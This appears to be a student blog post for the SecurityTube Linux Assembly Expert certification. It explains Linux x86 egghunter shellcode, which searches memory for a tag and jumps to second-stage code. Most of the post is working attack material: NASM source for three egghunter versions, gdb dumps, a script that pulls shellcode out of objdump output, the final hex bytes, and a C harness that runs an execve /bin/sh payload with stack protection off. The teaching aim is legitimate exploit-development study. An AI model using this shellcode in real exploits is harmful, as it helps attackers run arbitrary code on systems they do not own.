linux x86 egghunter shellcode
Egghunter is a stage one piece of code that searches memory for predefined tag that represents start of second stage of shellcode and passes execution to it.
To create a simple one we create a c program that pass execution to stage one egghunter that searches for egg in memory and then pass execution to found code executing stage two.
#include <stdio.h> #include <string.h> #define EGG "\x90\x50\x90\x50" unsigned char egghunt[] = \ // egghunter shellcode here unsigned char shellcode[] = \ EGG "\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; int main () { printf("Egghunter length: %d\n", strlen(egghunt)); printf("Shellcode length: %d\n", strlen(shellcode)); int(*ret)() = (int(*)())egghunt; ret(); }
As egg we select assembly opcodes to pass execution directly to egg and not calculate shellcode address. As shellcode we use execve /bin/sh shellcode.
The simplest example of egghunter will be
global _start section .text _start: mov edx, 0x50905090 ;move egg to edx rotate: inc eax ; inc memory address cmp dword [eax], edx ; compare memory contents to egg jne rotate ; loop if not equal jmp eax ; pass execution to stage two
This stage one code is only 12 bytes but will it work in every situation? The trick here is when C wrapper passes execution to stage one eax contains stage one first instruction memory address. This memory can be dereferenced and all following too. In this case shellcode runs smoothly and finds the egg and pass execution.
0x0804845a <+63>: add esp,0x10 0x0804845d <+66>: sub esp,0x8 0x08048460 <+69>: push eax 0x08048461 <+70>: push 0x8048526 0x08048466 <+75>: call 0x80482e0 <printf@plt> 0x0804846b <+80>: add esp,0x10 0x0804846e <+83>: mov DWORD PTR [ebp-0xc],0x8049780 0x08048475 <+90>: mov eax,DWORD PTR [ebp-0xc] => 0x08048478 <+93>: call eax 0x0804847a <+95>: mov eax,0x0 0x0804847f <+100>: mov ecx,DWORD PTR [ebp-0x4] 0x08048482 <+103>: leave 0x08048483 <+104>: lea esp,[ecx-0x4] 0x08048486 <+107>: ret End of assembler dump. (gdb) display/x $eax 1: /x $eax = 0x8049780 (gdb) stepi 0x08049780 in egghunt () (gdb) disassemble Dump of assembler code for function egghunt: => 0x08049780 <+0>: mov edx,0x50905090 0x08049785 <+5>: inc eax 0x08049786 <+6>: cmp DWORD PTR [eax],edx 0x08049788 <+8>: jne 0x8049785 <egghunt+5> 0x0804978a <+10>: jmp eax 0x0804978c <+12>: add BYTE PTR [eax],al End of assembler dump. (gdb) display/x $eax 1: /x $eax = 0x8049780 (gdb) disassemble $eax, +50 Dump of assembler code from 0x8049780 to 0x80497b2: => 0x08049780 <egghunt+0>: mov edx,0x50905090 0x08049785 <egghunt+5>: inc eax 0x08049786 <egghunt+6>: cmp DWORD PTR [eax],edx 0x08049788 <egghunt+8>: jne 0x8049785 <egghunt+5> 0x0804978a <egghunt+10>: jmp eax 0x0804978c <egghunt+12>: add BYTE PTR [eax],al 0x0804978e: add BYTE PTR [eax],al 0x08049790: add BYTE PTR [eax],al 0x08049792: add BYTE PTR [eax],al 0x08049794: add BYTE PTR [eax],al 0x08049796: add BYTE PTR [eax],al 0x08049798: add BYTE PTR [eax],al 0x0804979a: add BYTE PTR [eax],al 0x0804979c: add BYTE PTR [eax],al 0x0804979e: add BYTE PTR [eax],al 0x080497a0 <shellcode+0>: nop 0x080497a1 <shellcode+1>: push eax 0x080497a2 <shellcode+2>: nop 0x080497a3 <shellcode+3>: push eax 0x080497a4 <shellcode+4>: nop 0x080497a5 <shellcode+5>: push eax 0x080497a6 <shellcode+6>: nop 0x080497a7 <shellcode+7>: push eax 0x080497a8 <shellcode+8>: xor eax,eax 0x080497aa <shellcode+10>: push eax 0x080497ab <shellcode+11>: mov edx,esp 0x080497ad <shellcode+13>: push 0x68732f2f
But what if eax will contain invalid memory. If we initialize eax with xor eax, eax after the loop in shellcode, we receive segmentation fault error.
To solve this issue, we can use linux syscall to make system validate memory for us and receive EFAULT error in case of invalid memory. This technique is described in “Safely Searching Process Virtual Address Space” article.
To validate memory author uses access(2) syscall.
int access(const char *pathname, int mode);
It’s designed to check user permissions on file, and is chosen because it needs a pointer for just one argument and don’t attempt to write for supplied pointer. In case of invalid memory, we receive EFAULT or 0xfffffff2 in eax. As this is a system call we need to move 0x21 (dec 33) to eax as defined in unistd32.h for NR_access
#define __NR_access 33
We need to store first parameter in ebx. In our case it will be an address to validate. Let’s create first access(2) shellcode version.
global _start section .text _start: mov ebx, 0x50905090 xor ecx, ecx mul ecx repeat: inc edx pusha lea ebx, [edx] mov al, 0x21 int 0x80 cmp al, 0xf2 popa jz repeat cmp [edx], ebx jnz repeat cmp [edx+0x4], ebx jnz repeat jmp edx
This shellcode is 33 bytes versus 12 bytes compared to the first one, and it scans whole memory with no errors. The only problem it’s very slow, scanning every address incrementing by one took 2 minutes 47 seconds. Also as we start at very beginning of process address space we need to mark our stage two shellcode with 2 repeating eggs and check that first one is followed by second, because otherwise we can find our first occurrence of 0x50905090 and pass execution there.
To reduce execution time as author describes, due to the fact that the smallest granular unit of memory on IA32 is PAGE_SIZE, we can assume that if one address in page is invalid all others are invalid too. And if we receive invalid address we adjust address to next page. We get PAGE_SIZE
/bin/sh$ getconf PAGESIZE
4096
It is 0x1000 in hex. We can use or 0xfff to find the last page address, and then it will be incremented by one and point to first address of next page. Also we made some optimizations changing pusha; popa; mov al, 0x21; to push byte 0x21 and pop eax. This shellcode size is 37 but it takes half a second to find necessary address.
global _start section .text _start: xor ecx, ecx mul ecx npage: or dx, 0xfff repeat: inc edx lea ebx, [edx] push byte 0x21 pop eax int 0x80 cmp al, 0xf2 jz npage mov ebx, 0x50905090 cmp [edx], ebx jnz repeat cmp [edx+0x4], ebx jnz repeat jmp edx
$ nasm -f elf32 -o egghunt.o egghunt.nasm $ ld -N $1.o -o $1
Using getcode.sh script:
# This script gets shellcode from binary using objdump # http://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump #!/bin/bash if [ $# -eq 1 ]; then objdump -d ./$1|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-7 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ‘‘ -s |sed ‘s/^/"/’|sed ‘s/$/"/g’|sed ‘s/$/;/’ else echo "please input program name" fi
we get shellcode:
"\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x1a\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xef\xbb\x90\x50\x90\x50\x39\x1a\x75\xeb\x39\x5a\x04\x75\xe6\xff\xe2";
#include <stdio.h> #include <string.h> #define EGG "\x90\x50\x90\x50" unsigned char egghunt[] = \ "\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x1a\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xef\xbb\x90\x50\x90\x50\x39\x1a\x75\xeb\x39\x5a\x04\x75\xe6\xff\xe2"; unsigned char shellcode[] = \ EGG EGG "\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; int main () { printf("Egghunter length: %d\n", strlen(egghunt)); printf("Shellcode length: %d\n", strlen(shellcode)); int(*ret)() = (int(*)())egghunt; ret(); }
$ gcc -fno-stack-protector -z execstack rev.c -o revc
and execute.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1063